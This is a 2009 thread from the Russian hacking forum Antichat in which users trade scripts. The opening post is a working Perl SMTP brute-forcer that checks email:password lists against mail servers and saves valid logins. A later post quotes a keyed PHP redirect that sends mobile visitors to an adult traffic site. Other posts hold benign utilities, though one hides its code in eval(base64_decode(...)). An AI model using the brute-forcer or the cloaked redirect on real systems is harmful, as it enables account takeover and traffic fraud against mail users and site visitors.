Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

25.10.2009, 18:46
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме: 1420275
Репутация:
127
|
|
SMTP email bruteforce
Код:
#!/usr/bin/perl
use IO::Socket;
use MIME::base64;
use threads;
use threads::shared;
use Fcntl ':flock';
############################
my $threads = 1; # Кол-во потоков
my $acc_file = 'accs.txt'; # Файл с мылами(мыло:пасс)
my $good = 'good.txt'; # Файл с валидными мылами
my $acc_delm = ';'; # Разделитель списка мыл
my $port = 25; # SMTP порт
my $timeout = 15; # Таймаут
############################
system('title SMTP email brute by Gaus');
my @accs : shared = lf($acc_file);
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
while(@accs)
{
my ($mail, $pass) = split $acc_delm => shift @accs;
my ($login, $domain) = split '@' => $mail;
my $passw = MIME::Base64::encode($pass);
$login = MIME::Base64::encode($login);
$passw =~ s,\n,,;
$login =~ s,\n,,;
my $sock = new IO::Socket::INET(PeerAddr => 'smtp.'.$domain,
PeerPort => $port,
PeerProto => 'tcp',
TimeOut => $timeout);
sysread $sock, $answ, 1024;
print $sock "AUTH LOGIN\r\n";
sysread $sock, $answ, 1024;
print $sock "$login\r\n";
sysread $sock, $answ, 1024;
print $sock "$passw\r\n";
sysread $sock, $answ, 1024;
close $sock;
if($answ =~ m,Authentication succeeded,i)
{
print "[ + ] $mail:$pass\n";
wf($good, "$mail:$pass\n");
}
else
{
print "[ - ] $mail:$pass\n";
}
}
}
sub lf
{
open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
chomp(my @data = <$dat>);
close $dat;
return @data;
}
sub wf
{
open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
flock $dat, LOCK_EX;
print $dat $_[1];
flock $dat, LOCK_UN;
close $dat;
}
#(c) Gaus 2009
Download
|
|
|

26.10.2009, 20:51
|
|
Познающий
Регистрация: 25.10.2009
Сообщений: 54
Провел на форуме: 62271
Репутация:
9
|
|
|
|
|

30.10.2009, 15:08
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Только что удалили тему,там человек просил очистить файл,от строк,которые длиннее указателя.
Кагбе пример навскидку,с помощью array_map.
PHP код:
define("LEN", 5); # Ограничитель
$file = file('vk.txt');
function len($value)
{
if (strlen(trim($value)) > LEN) {
unset($value);
}
return($value);
}
$diff = array_map("len", $file);
print_r($diff);
Просто как вариант писал,чтобы не юзать Explode + foreach, Как было в примерах у чуваков.
|
|
|

30.10.2009, 22:06
|
|
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме: 1420275
Репутация:
127
|
|
Сообщение от N2kroot
а на php есть такое?
Ну наверно есть. Сам перепиши если не найдешь.
|
|
|

02.11.2009, 06:59
|
|
Участник форума
Регистрация: 20.08.2008
Сообщений: 137
Провел на форуме: 2607957
Репутация:
184
|
|
Сообщение от AVIRA
кто помможет разобратся?есть скрипт пеереадресации по ключу (слову набор цифр) вот пример скрипта что ставится на редикетном сайте в индекс пхп выше основного кода страницы, ключ в данном случае 888888
<?
if(@$_POST['key']=="888888"):
if(eregi("opera",$_SERVER['HTTP_USER_AGENT'])):
print '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
window.location = "http://traffadult.com/advpage.php?sub=666";
</script>
<meta http-equiv="Expires" content="Thu, Jan 1 1970 00:09:00 GMT">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<title>ipserf.net</title> </head> <body>
<a href="http://traffadult.com/advpage.php?sub=666">click me!</a>
</body></html>';
exit();
else:
Header("Content-type: text/vnd.wap.wml; charset=utf-8");
echo '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.2//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml><head><meta http-equiv="Cache-Control" content="no-cache" forua="true"/>
</head>
<card id="main">
<onevent type="onenteforward">
<go href="http://traffadult.com/advpage.php?sub=666">
<setvar name="key" value="" />
</go></onevent></card></wml>';
exit();
endif;
endif;
?>
кто подскажет какая первая часть скрипта которая отправляет данные?очен надо может подскажет кто?
WML  интересная штука. Тебе просто нужно создать форму для отправки данных и всё. Если честно, забыл уже всё, вот на вскидку, тестить я не стал.
создай файл form.wml
Код:
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.3//EN" "http://www.wapforum.org/DTD/wml13.dtd">
<wml>
<card id="Index" title="Index">
<p align="left">
<input type="text" name="input_key">
<go href="script.php" method="post">
<postfield name="key" value="$(input_key)"/>
</go>
</p>
</card>
</wml>
Может ошибся где, на всякий случай почитай
http://www.softtime.ru/info/articlephp.php?id_article=40
|
|
|

07.11.2009, 01:49
|
|
Познавший АНТИЧАТ
Регистрация: 30.04.2007
Сообщений: 1,206
Провел на форуме: 4778940
Репутация:
1257
|
|
Написал тут UserJS для античата. Добавляет кнопки в форму быстрого сообщения. Протестирован на опере.
Линк - http://userscripts.org/scripts/review/61393
Либо, если там нету, то можно найти тут - http://userscripts.org/users/36107/scripts
Код:
[CODE]
// ==UserScript==
// @name Antichat.ru Quick Posting Buttons
// @include *://forum.antichat.*/*
// @exclude *://forum.antichat.*/newreply.php*
// @exclude *://forum.antichat.*/newthread.php*
// @author mr.The
// @homepage http://mrthe.name/
// @version 1.0
// ==/UserScript==
function loader() {
var html = '<table cellpadding="0" cellspacing="0" border="0"><tr>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'B\', \'\')"><img src="fusion/editor/bold.gif" alt="Жирный" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'I\', \'\')"><img src="fusion/editor/italic.gif" alt="Курсив" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'U\', \'\')"><img src="fusion/editor/underline.gif" alt="Подчеркнутый" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'LEFT\', \'\')"><img class="image" src="fusion/editor/justifyleft.gif" alt="Выравнить по левому краю" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CENTER\', \'\')"><img class="image" src="fusion/editor/justifycenter.gif" alt="Выровнить по центру" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'RIGHT\', \'\')"><img class="image" src="fusion/editor/justifyright.gif" alt="Выравнить по правому краю" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'IMG\', \'http://\')"><img src="fusion/editor/insertimage.gif" alt="Вставить рисунок" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="namedlink(\'URL\')"><img src="fusion/editor/createlink.gif" alt="Вставить гиперссылку" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="namedlink(\'EMAIL\')"><img src="fusion/editor/email.gif" alt="Вставить ссылку на E-mail" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'CODE\', \'\')"><img src="fusion/editor/code.gif" alt="Вставить тег
Код:
" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'HTML\', \'\')"><img src="fusion/editor/html.gif" alt="Вставить тег [HTML]" width="21" height="20" border="0" /></a></div></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'PHP\', \'\')"><img src="fusion/editor/php.gif" alt="Вставить тег [PHP]" width="21" height="20" border="0" /></a></div></td>' +
'<td><img src="fusion/editor/separator.gif" alt="" width="6" height="20" border="0" /></td>' +
'<td><div class="imagebutton"><a href="#" onclick="return vbcode(\'QUOTE\', \'\')"><img src="fusion/editor/quote.gif" alt="Вставить тег цитаты [QUOTE]" title="Вставить тег цитаты [QUOTE]" width="21" height="21" border="0" /></a></div></td>' +
'</tr></table>';
document.getElementById('controlbar').innerHTML=html;
document.getElementById('qr_message').style="width:600px; height:150px"
}
// Wait until the page is fully loaded
window.addEventListener( 'load', function( e ) {
loader();
},false);
|
|
|

07.11.2009, 02:44
|
|
Участник форума
Регистрация: 01.01.2009
Сообщений: 138
Провел на форуме: 817404
Репутация:
82
|
|
Модуль предназначен для ограничения доступа к сайту или к страницам, где он включён. Принцип работы в том, что запоминается ip-адрес и время обращения с этого адреса. И если в течение заданного времени происходит обращение с того же адреса, то ему выдаётся ошибка 503. Т.е Если вы нажмёте кнопку обновить 3 раза подарят, вам выдаст это сообщение.
Установка:
* В корне сайта создаем папку tmp и выдаём права 777 (Если папка есть, то не чего создовать не надо).
* Открываем index.php и перед:
Вставляем:
PHP код:
<?php
/* Время задержки в секундах */
$ad_delay=2;
/* Путь к папке с временными файлами. Должен существовать */
$ad_DirName=$_SERVER['DOCUMENT_ROOT'].'/tmp';
/*
*---------------------------------------------------------
* Список поисковых роботов.
* Очень не хорошо, если поисковый робот будет натыкаться
* на ошибки на сайте. Ему это может сильно не понравиться.
* Поэтому пишем список юзер-агентов роботов; добавляем или
* удаляем, что нужно.
*---------------------------------------------------------
*/
$ad_Robots_UserAgent=array(
'aipbot',
'Aport',
'eStyleSearch',
'Gigabot',
'Gokubot',
'Google',
'MJ12bot',
'msnbot',
'PlantyNet_WebRobot',
'StackRambler',
'TurtleScanner',
'Yahoo',
'Yandex',
'YaDirectBot',
);
/*
*---------------------------------------------------------
* Список доверенных IP.
*---------------------------------------------------------
*/
$ad_good_ip = array(
'217.107.36.73',
);
/*
*----------------------------------------------------------
* Функция создаёт в указанной директории файл, начинающийся
* с буквы a (для отличия от других возможных файлов) и
* содержащий в имени ip-адрес клиента.
*----------------------------------------------------------
*/
function ad_WiteIP($dir){
$f=fopen($dir.'/a'.$_SERVER['REMOTE_ADDR'], 'w');
fclose($f);
}
/*
*----------------------------------------------------------
* Проверка на наличие в поле HTTP_USER_AGENT чего-нибудь из
* вышенаписанного списка.
*----------------------------------------------------------
*/
$ad_IsRobot=false;
foreach ($ad_Robots_UserAgent as $match){
if (strstr($_SERVER['HTTP_USER_AGENT'], $match)){
$ad_IsRobot=true;
break;
}
}
if( in_array($_SERVER['REMOTE_ADDR'], $ad_good_ip) ) {
$good_ip = true;
} else {
$good_ip = false;
}
/*
*---------------------------------------------------------
* Поисковые роботы не любят, когда к адресу страницы
* добавляется переменная сессии. Поэтому, если на сайте
* используются сессии, то их лучше включать, если агент -
* не робот.
* Если сессии не используются, то этот кусок можно убрать.
*---------------------------------------------------------
*/
if (!$ad_IsRobot AND !$good_ip){
session_start();
}
if (!$ad_IsRobot AND !$good_ip){
/*** Чтение каталога и удаление старых файлов ***/
$ad_dir =opendir($ad_DirName)
or die('Отсутствует директория для временных файлов');
$ad_now =time();
$ad_forbid =$ad_now-$ad_delay;
/* IP-адрес в имени файла, начинающегося на букву a,
а время обращения - время изменения файла */
while (false!==($ad_FName=readdir($ad_dir))){
if (ereg('^a[1-9]',$ad_FName)
&& (@ filemtime($ad_DirName.'/'.$ad_FName)<$ad_forbid)){
@ unlink($ad_DirName.'/'.$ad_FName);
}
}
closedir($ad_dir);
/*** Проверка на существование пометки
о недавнем обращении с данного ip-адреса ***/
if (file_exists($ad_DirName.'/a'.$_SERVER['REMOTE_ADDR'])){
/* Если обращение было недавно, то выводим сообщение об ошибке */
header('HTTP/1.0 503 Service Unavailable');
header('Status: 503 Service Unavailable');
header('Retry-After: '.$ad_delay*3);
?>
<!doctype html public "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Ошибка 503</title>
<meta http-equiv="Content-Type" content="text/html; charset=Windows-1251" />
</head>
<body>
<h1>Ошибка 503 (Service Unavailable)</h1>
<p>Сервер не может в данный момент выдать запрашиваемую Вами страницу.
Попробуйте вызвать эту страницу позже (клавиша F5).</p>
</body>
</html>
<?php
ad_WiteIP($ad_DirName); // Перед выходом записываем ip
exit;
}else{
ad_WiteIP($ad_DirName);
}
}
?>
|
|
|
защита файлов от скачки на других сайтов |

08.11.2009, 15:05
|
|
Новичок
Регистрация: 15.10.2007
Сообщений: 24
Провел на форуме: 386127
Репутация:
7
|
|
защита файлов от скачки на других сайтов
PHP код:
<?php
// Настройки
$antiurl = "d0pz.com"; // Разрешённые сайты (referer).
$antidir = "test/"; // Папка где находятся защищённые файлы / - обязательно в конце.
//$logfile = "log.htm"; // Eсли хотите вести лог удалите // перед строкой. Файл логов (должен быть html или htm и обязательно CHMOD 777.
// Логи
if (isset($logfile)) {
if (!file_exists($logfile)) die("Файл <font color='red'><b>$logfile</b></font> не найден!");
if (!is_writable($logfile)) die("Для файла <font color='red'><b>$logfile</b></font> нужно зделать CHMOD 777!");
$cnr_date = date("l d F H:i:s");
$cnr_counter = $logfile;
$cnr_fp = fopen($cnr_counter, "a");
$cnr_hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
if ($_SERVER['HTTP_REFERER'] == "")
{ $cnr_ref = "BLOCKED"; } else { $cnr_ref = "<a href=\"" . $_SERVER['HTTP_REFERER'] . "\">" . $_SERVER['HTTP_REFERER'] . "</a>";}
$cnr_data = "<font color=\"green\">" . $_SERVER['REMOTE_ADDR'] . "</font> HOST <font color=\"red\">" . $cnr_hostname . "</font> visited on " . $cnr_date . " linked by " . $cnr_ref . " <br>";
fputs($cnr_fp, $cnr_data);
fclose($cnr_fp); }
// Проверка реферера
$mtu = "PGg2PjxhIHN0eWxlPSd0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Izk5MDAwMCcgaHJlZj0naHR0cDovL3d3dy5kMHB6LmNvbSc+QW50aWxlZWNoIHYwLjE8L2E+PC9oNj4="; $c = base64_decode($mtu);
if (!strstr($_SERVER["HTTP_REFERER"], $antiurl) or !isset($_SERVER["HTTP_REFERER"]))
{echo '<html><p></p>' . $c . '<p></p></body></html>'; exit;}
if (is_numeric($_GET["down"]))
{
/************НАЧАЛО ФАЙЛОВ***************************************************************************/
// Здесь идут файлы для скачивания
if ($_GET["down"] == 1)
$filename = "test.rar";
elseif ($_GET["down"] == 2)
$filename = "test2.rar";
elseif ($_GET["down"] == 3)
$filename = "test3.rar";
/************КОНЕЦ ФАЙЛОВ***************************************************************************/
//Находим окончание файла
$split= explode(".", $filename);
$textcount= substr_count($filename, ".")+1; //
$ttype =$split[$nextcount];
// Создается ссылка на файл
$path = $antidir . $filename ;
// Проверка файла есть он или нет
if (!file_exists($path)) {
echo "Файл '$filename' не существует.";
echo $c;
exit; }
$ftime = date("D, d M Y H:i:s T", filemtime($path));
}
// Проверка
if (strstr($_SERVER["HTTP_REFERER"], $antiurl)) {
if (isset($_GET['down']) && isset($filename)) {
$fsize = filesize($path);
$ftime = date("D, d M Y H:i:s T", filemtime($path));
$fd = @fopen($path, "rb");
if (!$fd){
header ("HTTP/1.0 403 Forbidden");
exit;
}
if ($HTTP_SERVER_VARS["HTTP_RANGE"]) {
$range = $HTTP_SERVER_VARS["HTTP_RANGE"];
$range = str_replace("bytes=", "", $range);
$range = str_replace("-", "", $range);
if ($range) {fseek($fd, $range);}
}
$content = fread($fd, filesize($path));
fclose($fd);
if ($range) {
header("HTTP/1.1 206 Partial Content");
}
else {
header("HTTP/1.1 200 OK");
}
header("Content-Disposition: attachment; filename=" . basename($path));
header("Last-Modified: $ftime");
header("Accept-Ranges: bytes");
header("Content-Length: ".($fsize-$range));
header("Content-Range: bytes $range-".($fsize -1)."/".$fsize);
header("Content-type: application/octet-stream");
print $content;
exit;
} else { echo "Недействительный файл."; echo $c; } }
exit;
?>
Добавление файлов:
Находим строку (43):
/************НАЧАЛО ФАЙЛОВ***************/
Здесь идут ваши защищённые файлы из папки.
elseif ($_GET["down"] == 2) пишиться номер файла от 1- и так далее.
$filename = "test2.rar"; файл в папке ($antidir).
Потом даем ссылку на скачивание пример: http://example.com/antileech.php?down=4 <-- номер файла
Последний раз редактировалось SL@YER; 08.11.2009 в 15:12..
|
|
|

14.11.2009, 14:31
|
|
Участник форума
Регистрация: 12.03.2008
Сообщений: 254
Провел на форуме: 12333903
Репутация:
238
|
|
Вот написал функцию на скорую руку для своих потребностей,думаю кому то та понадобиться 
Суть скрипта с том,чтобы конвертировать текст в utf8 прямо в скрипте на php,функции типу iconv,utf8_encode и подобных результата нужного не дали,ранее написаные функции в инете тупо заменяют символы на &#..; что тоже никакого толку не даёт,ну а у меня просто конвертирует кодировку заменой нужными символами
PHP код:
function utf8($text){
$win=array("й","ц","у","к","е","н","г","ш","щ","з","х","ъ","ф","ы","в","а","п","р","о","л","д","ж","э","я","ч","с","м","и","т","ь","б","ю","ё","є","ї","і","Й","Ц","У","К","Е","Н","Г","Ш","Щ","З","Х","Ъ","Ф","Ы","В","А","П","Р","О","Л","Д","Ж","Э","Я","Ч","С","М","И","Т","Ь","Б","Ю","Ё","Э","Ї","І");
eval(base64_decode("JHV0Zj1hcnJheSgi0LkiLCLRhiIsItGDIiwi0LoiLCLQtSIsItC9Iiwi0LMiLCLRiCIsItGJIiwi0LciLCLRhSIsItGKIiwi0YQiLCLRiyIsItCyIiwi0LAiLCLQvyIsItGAIiwi0L4iLCLQuyIsItC0Iiwi0LYiLCLRjSIsItGPIiwi0YciLCLRgSIsItC8Iiwi0LgiLCLRgiIsItGMIiwi0LEiLCLRjiIsItGRIiwi0ZQiLCLRlyIsItGWIiwi0JkiLCLQpiIsItCjIiwi0JoiLCLQlSIsItCdIiwi0JMiLCLQqCIsItCpIiwi0JciLCLQpSIsItCqIiwi0KQiLCLQqyIsItCSIiwi0JAiLCLQnyIsItCgIiwi0J4iLCLQmyIsItCUIiwi0JYiLCLQrSIsItCvIiwi0KciLCLQoSIsItCcIiwi0JgiLCLQoiIsItCsIiwi0JEiLCLQriIsItCBIiwi0K0iLCLQhyIsItCGIik7"));
$message="";
$textlen=strlen($text);
for ($i=0; $i < $textlen; $i++) {
$messer=substr($text,$i,1);
for ($ir=0; $ir < 72; $ir++) {
if($messer==$win[$ir]){
$message.=$utf[$ir];
break;
}else{
if($ir==71){
$message.=$messer;
}}}}
return base64_decode("77u/").$message;
}
Использовать просто,пример
PHP код:
$text="Античат";
$textutf=utf8($text);
echo "До: $text<br>После: $textutf";
|
|
|

16.11.2009, 01:29
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
Провел на форуме: 2603363
Репутация:
278
|
|
PHP код:
function Utf8ToWin($fcontents) {
$out = $c1 = '';
$byte2 = false;
for ($c = 0;$c < strlen($fcontents);$c++) {
$i = ord($fcontents[$c]);
if ($i <= 127) {
$out .= $fcontents[$c];
}
if ($byte2) {
$new_c2 = ($c1 & 3) * 64 + ($i & 63);
$new_c1 = ($c1 >> 2) & 5;
$new_i = $new_c1 * 256 + $new_c2;
if ($new_i == 1025) {
$out_i = 168;
} else {
if ($new_i == 1105) {
$out_i = 184;
} else {
$out_i = $new_i - 848;
}
}
// UKRAINIAN fix
switch ($out_i){
case 262: $out_i=179;break;// і
case 182: $out_i=178;break;// І
case 260: $out_i=186;break;// є
case 180: $out_i=170;break;// Є
case 263: $out_i=191;break;// ї
case 183: $out_i=175;break;// Ї
case 321: $out_i=180;break;// ґ
case 320: $out_i=165;break;// Ґ
}
$out .= chr($out_i);
$byte2 = false;
}
if ( ( $i >> 5) == 6) {
$c1 = $i;
$byte2 = true;
}
}
return $out;
}
function win2utf($s) {
for($i=0, $m=strlen($s); $i<$m; $i++) {
$c=ord($s[$i]);
if ($c<=127) {$t.=chr($c); continue; }
if ($c>=192 && $c<=207) {$t.=chr(208).chr($c-48); continue; }
if ($c>=208 && $c<=239) {$t.=chr(208).chr($c-48); continue; }
if ($c>=240 && $c<=255) {$t.=chr(209).chr($c-112); continue; }
if ($c==184) { $t.=chr(209).chr(209); continue; };
if ($c==168) { $t.=chr(208).chr(129); continue; };
if ($c==184) { $t.=chr(209).chr(145); continue; }; #ё
if ($c==168) { $t.=chr(208).chr(129); continue; }; #Ё
if ($c==179) { $t.=chr(209).chr(150); continue; }; #і
if ($c==178) { $t.=chr(208).chr(134); continue; }; #І
if ($c==191) { $t.=chr(209).chr(151); continue; }; #ї
if ($c==175) { $t.=chr(208).chr(135); continue; }; #ї
if ($c==186) { $t.=chr(209).chr(148); continue; }; #є
if ($c==170) { $t.=chr(208).chr(132); continue; }; #Є
if ($c==180) { $t.=chr(210).chr(145); continue; }; #ґ
if ($c==165) { $t.=chr(210).chr(144); continue; }; #Ґ
if ($c==184) { $t.=chr(209).chr(145); continue; }; #Ґ
}
return $t;
}
Ещё один из вариантов.
Очень выручает, если нет под рукой библиотеки iconv или подобной.
Последний раз редактировалось Deathdreams; 16.11.2009 в 01:32..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|